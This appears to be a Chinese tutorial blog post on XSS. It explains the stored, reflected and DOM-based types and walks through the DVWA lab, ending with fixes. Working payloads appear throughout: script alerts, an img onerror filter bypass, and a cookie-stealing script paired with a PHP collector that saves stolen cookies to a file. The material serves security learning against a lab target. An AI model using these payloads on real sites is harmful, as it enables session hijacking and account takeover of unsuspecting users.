XSS学习

news2024/11/15 8:41:35

目录

什么是XSS

概念

理解

XSS分类

存储型XSS

反射型XSS

原理

攻击过程

DOM型

攻击过程

DOM行XSS与反射型XSS区别

存储型XSS与反射型XSS区别

DVWA实验

反射型XSS

low等级

JavaScript弹窗函数

攻击思路

攻击者web设计

medium等级

high等级

impissible等级

存储型XSS

low等级

medium等级

high

impossible等级

修复


什么是XSS

XSS全称是:Cross Site Script ,缩写应该是css,但为了与Css区分开,安全行业就取名为Xss

  • 中文名称:跨站脚本
  • 常见危害:盗取用户信息,钓鱼,制造蠕虫等。

Xss其实是一种注入,前端语言的注入。

概念

黑客通过“HTML注入”篡改网页,插入恶意脚本,在用户浏览网页时,实现控制用户浏览器的一种攻击方式。

理解

正常情况下我们有一个钥匙,对应着保险柜的门,但是有人偷偷拿到了我们的钥匙,又复制了一把,这样就也能打开保险柜了。

这里的钥匙在web中指的事Cookie,当黑客可以利用Xss盗取用户的 Cookie,黑客有了Cookie就可以以正常用户的身份访问Web站点,对于Web站点来说,他只认Cookie,无法分辨是谁在访问。

XSS分类

  • 存储型
  • 反射型
  • DOM型

存储型XSS

黑客构造XSS脚本在留言上,提交给后端的Web应用程序,Web应用程序将恶意留言保存在数据库中。

用户打开浏览器,访问嵌入了XSS脚本的页面,浏览器向后端的web应用程序请求页面内容。而页面中的留言是存储在数据库中,所以需要从数据库中读取数据,数据库会将写入的XSS代码返回给web应用程序,并最终返回给浏览器,触发XSS。

反射型XSS

访问携带XSS脚本的链接触发XSS

原理

这是后端php语言,获取参数后直接输入到客户端,导致XSS。

攻击过程

用户在浏览器中个访问带有XSS脚本的链接,浏览器向后端Web应用程序发送请求,后端应用程序将URL中XSS脚本数据写入到响应页面,并返回给浏览器,浏览器渲染响应页面,触发XSS。

DOM型

特征与反射型XSS是一样的,区别在于

可以看到触发的地方在url的hash中

Location 对象
Location 对象包含有关当前 URL 的信息。

Location 对象是 Window 对象的一个部分,可通过 window.location 属性来访问。

Location 对象属性
属性	描述
hash	设置或返回从井号 (#) 开始的 URL(锚)。

查看源码,可以看到,上面一句是从URl中提取hash赋值给变量errorMsg。第二句是对errorMsg进行编码后,以innerHTML的形式写入ID为“errorMsg”的DOM节点中。

攻击过程

用户在浏览器中访问带XSS脚本的链接,浏览器通过JS语言从URl中提取出XSS脚本内容,并写入到DOM中,触发XSS。

DOM行XSS与反射型XSS区别

  • DOM型XSS是通过前端JS语言将XSS脚本写入DOM触发XSS。
  • 反射型XSS是通过后端Web应用程序,将XSS脚本写入到响应页面中,浏览器渲染响应页面,这才触发XSS。

存储型XSS与反射型XSS区别

区别在于存储型xss是在数据库中提取XSS脚本内容,而反射型XSS是直接从URL中提取XSS脚本内容。


DVWA实验

xss本质上是一种客户端代码注入,通常注入代码是JavaScript。区别于命令注入,SQL注入等服务端代码注入。

三种XSS区别

反射型XSS

进入DVWA,打开反射型XSS,一个简单输入框。

low等级

首先进行正常操作,输入xss,点击提交

页面出现字符

输入xss标签,打开firebug发现似乎可以注入html标签

接下来进行弹窗测试,这是xss测试普遍的方法,能弹窗说明存在xss

<script>alert(/xss/)</script>

在firebug中可以查看到对应元素,成功注入了js脚本,说明这里存在xss漏洞

JavaScript弹窗函数

js中不仅仅只有alert()可以弹窗,我们可以根据服务器的过滤情况,尝试其他函数

攻击思路

反射型xss,有以下四个角色,首先用户处于登录状态,攻击者发送一个url给用户,这个url域名是被攻击的web服务器,诱骗他点击,用户点击后web会对url中包含的js脚本做出响应,用户浏览器执行js脚本。在用户不知情的情况下,发送用户凭证到攻击者的web服务器上,攻击者获取到会话信息,攻击者使用用户的身份登录到被攻击的web服务器。到这里攻击者就可以以用户的身份操作。

攻击者web设计

我们使用127.0.0.1这个ip新建一个cookie.php文件内容如下

<?php
$cookie = $_GET['cookie'];//将偷取到的cookie存储到cookie变量
file_put_contents('cookie.txt',$cookie);//将变量输出到cookie.txt中
?>

构造攻击js

<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

document.location含义是将页面内容定位到指定位置,会访问参数中的地址,参数中写上刚刚新建的php文件网址,将document.cookie获取的cookie赋值给cookie参数。这个cookie值最终会出现在127.0.0.1网站的cookie.txt中

构造并发送攻击url

hello后面的数据使我们输入的数据,除了单引号全部被html编码了

我们查看源码,使用了htmlspecialchars函数

这个函数单引号默认不编码,需要的话要设置如图参数

存储型XSS

low等级

前端限制,限制长度

我们使用firebug查看,限制了30和50个字符

我们可以使用TamperData绕过前端,直接发送,输入一百个字符,发送后发现成功绕过浏览器限制

进行插入弹框脚本,发现弹了两次,name和message成功注入,其他与反射型基本一致,因为存储型是存到数据库中的,会一直存在

清除弹窗,重置数据库

medium等级

使用大小写混合,成功注入,发现只有name注入成功,但是只要有一个弹窗成功就说明存在xss

high

使用img

<img src=x onerror=alert(1)>成功绕过

发现name注入成功

impossible等级

发现单引号被转义,其他符号被过滤

修复

输入过滤与输出过滤

输入过滤最好使用白名单

输出过滤——html编码js转义

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/735295.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【ES6】中构造函数的语法糖 —— Class(类)

在现代前端开发中&#xff0c;JavaScript的面向对象编程成为了主流。ES6引入了class关键字&#xff0c;使得开发者可以更方便地使用面向对象的方式编写代码&#xff0c;更接近传统语言的写法。ES6的class可以看作是一个语法糖&#xff0c;它的绝大部分功能ES5都可以做到&#x…

Java基础---动态代理

目录 典型回答 静态代理和动态代理的区别 动态代理的用途 Spring AOP的实现方式 JDK 动态代理的代码段 Cglib动态代理的代码段 典型回答 动态代理就是&#xff0c;在程序运行期&#xff0c;创建目标对象的代理对象&#xff0c;并对目标对象中的方法进行功能性增强的一种技…

electron+vue3全家桶+vite项目搭建【22】vite定义编译时全局变量,用于渲染进程判断当前是否为打包环境

引入 demo项目地址 我们在本地运行时往往显示的是一些方便调试的页面&#xff0c;如下所示: 通过页面路由选择&#xff0c;快速打开不同的窗口 而当我们打包运行时&#xff0c;往往希望直接进入软件的主页&#xff0c;而不显示这些调试页面&#xff0c;也许你会觉得&#xf…

设计模式之三:装饰者模式

装饰者模式可以在不修改任何底层代码的情况下&#xff0c;给对象赋予新的职责&#xff08;使用对象组合的方式&#xff0c;在运行时装饰类&#xff09;。 假定星巴兹咖啡需要更新订单系统&#xff0c;而他们原先类的设计如图&#xff1a; 现在他们考虑客户可以选择添加调料&am…

day62_ssm事务

今日内容 零、 复习昨日 零、 复习昨日 excel导入导出,cv配置和方法 aop: 面向切面编程 抽取与业务无关的代码,比如日志记录,事务控制,权限校验等,形成一个切面 利用动态代理的技术将切面中的增强方法,作用到目标方法上 aop日志 日志注解切面类 切入注解获得时间,ip,session中的…

跟我一起从零开始学python(四)数据库编程:MySQL数据库

前言 回顾之前讲了python语法编程 &#xff0c;必修入门基础和网络编程&#xff0c;多线程/多进程/协程等方面的内容&#xff0c;今天到了数据库编程篇&#xff0c;前面没看的也不用往前翻&#xff0c;系列文已经整理好了&#xff1a; 1.跟我一起从零开始学python&#xff08…

探索MySQL的秘密宝藏:寻找隐藏的金币数据!(面试)

目录 ✨前言 &#x1f6b6;‍♂️正片开始 一、常见MySQL面试题通关详解 二、SQL面试题实战 1. 某外卖公司的用户订单表面试题 2. 学生管理系统表面试题 &#x1f44b;尾记 前言 在一个神秘的岛屿上&#xff0c;有一个被称为"数据库之塔"的巨大建筑。据传说&a…

Kubernetes Pod卷 - Pod镜像的升级和回滚 - 探针

目录 扩展&#xff1a; Pod创建的拓扑图&#xff1a; 提出的问题&#xff1a; Pod 卷的使用&#xff1a;Pod的数据持久化问题 配置 Pod 以使用卷进行存储 参考文档&#xff1a;配置 Pod 以使用卷进行存储 | Kubernetes 有状态应用和无状态应用&#xff1a; Pod 配置卷 1…

122.将实战网页部署到Netlify

● 本章我们将网站部署到Netlify ● 首先先点击右上角注册一个账号 ● 注册完成之后&#xff0c;点击sites&#xff0c;将我们的网站文件夹拖入 ● 上传成功 ● 之后就可以正常访问啦 ● 我们也可以修改我们的站点名称&#xff0c;让他更加好记

1、简述MySQL体系结构。2、安装部署MySQL。(使用yum以及通用二进制方式)。

Mysql是由SQL接口&#xff0c;解析器&#xff0c;优化器&#xff0c;缓存&#xff0c;存储引擎组成的 Connectors指的是不同语言中与SQL的交互 Management Serveices & Utilities&#xff1a; 系统管理和控制工具 Connection Pool&#xff1a;连接池。管理缓冲用户连…

JAVA_WEB 学生信息管理系统(WEB端)

仓库地址&#xff1a;https://gitee.com/ThMyGitee/Stuednt.git CSDN的友友们&#xff0c;项目如果适合您的话&#xff0c;麻烦给个小小的Star&#xff0c;谢谢啦&#xff01; JAVA_WEB 学生信息管理系统(WEB端) 1.开发环境 JDK1.8 Tomcat 8.5.60 IDEA 2019.3 MySQL 5.7.20…

算法学习day22

235. 二叉搜索树的最近公共祖先 给定一个二叉搜索树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个结点 p、q&#xff0c;最近公共祖先表示为一个结点 x&#xff0c;满足 x 是 p、q 的祖先且 x 的深度尽可能大&…

洞察顾客需求,探究问卷调查在餐饮行业的赋能之路!

在餐饮行业中&#xff0c;顾客的口碑占据非常重要的地位&#xff0c;直接影响着门店的销售额。好口碑能一传十、十传百&#xff0c;为门店带来持续不断的流量和收益。所以&#xff0c;在顾客体验这一块&#xff0c;餐饮门店要尤为重视。 某餐饮品牌作为全球知名品牌&#xff0c…

精选6种制作竞赛动图的方法,推荐收藏!

下面的两个动图&#xff0c;就是条形竞赛图和折线竞赛图。 今天我们就来看看都有哪些方便的方法来制作呢 技术交流 技术要学会分享、交流&#xff0c;不建议闭门造车。一个人可以走的很快、一堆人可以走的更远。 本文文章由粉丝的分享、推荐&#xff0c;资料干货、资料分享、…

牛客小白月赛75 DE

D 矩阵 登录—专业IT笔试面试备考平台_牛客网 思路&#xff1a;我们能够发现每个点最多只用两种状态&#xff0c;一种是不变&#xff0c;另一种是改变&#xff0c;如果相邻的点与当前点不相同&#xff0c;则可以花费一个单位走过去&#xff0c;否则需要先改变它的状态&#x…

7.4 实战图书详情相关接口(管理员端)

文章目录 前言一、需求二、Service层2.1 图书详情 - 基本信息接口BookDetailBOBookServiceBookServiceImpl 2.2 图书详情 - 图书评论接口BookCommentBOStudentBOBookCommentServiceBookCommentServiceImpl 三、Web层BookAdminController 四、PostMan测试最后 前言 在前面的API…

深入理解Linux内核网络——内核与用户进程协作之同步阻塞方案(BIO)

文章目录 一、相关实际问题二、socket的直接创建三、内核和用户进程协作之阻塞方式1&#xff09;等待接收消息2&#xff09;软中断模块3&#xff09;同步队列阻塞总结 在上一部分中讲述了网络包是如何从网卡送到协议栈的&#xff08;详见深入理解Linux网络——内核是如何接收到…

pycharm连接mysql数据库

点击右侧数据库&#xff0c;点击加号新建&#xff0c;选择数据源&#xff0c;选择mysql 输入数据库相关信息&#xff0c;可以先点击测试连接看能不能连接上&#xff0c; 如果驱动没下载会提示&#xff0c;需要下载驱动&#xff0c;直接点击下载安装即可 测试连接成功 勾选要显示…

LVS +Keepalived高可用群集

文章目录 一、Keepalived概述二、Keepalived服务重要功能1.管理 LVS 负载均衡软件2.支持故障自动切换&#xff08;Failover&#xff09;3.实现 LVS 集群中节点的健康检查&#xff08;Health Checking&#xff09;4.VRRP通信原理 三、keepalived体系主要模块及作用四、keepalive…

docker安装fastdfs(1个tracker、2个storage)

文章目录 1 拉取镜像2 构建tracker容器2.1 创建配置文件和数据文件路径&#xff08;只在主机上创建&#xff09;2.2 在官网下载了原装tracker.conf&#xff0c;修改了一个参数最大并发连接数&#xff0c;max_connections&#xff1a;改为1024&#xff08;默认256&#xff09;2.…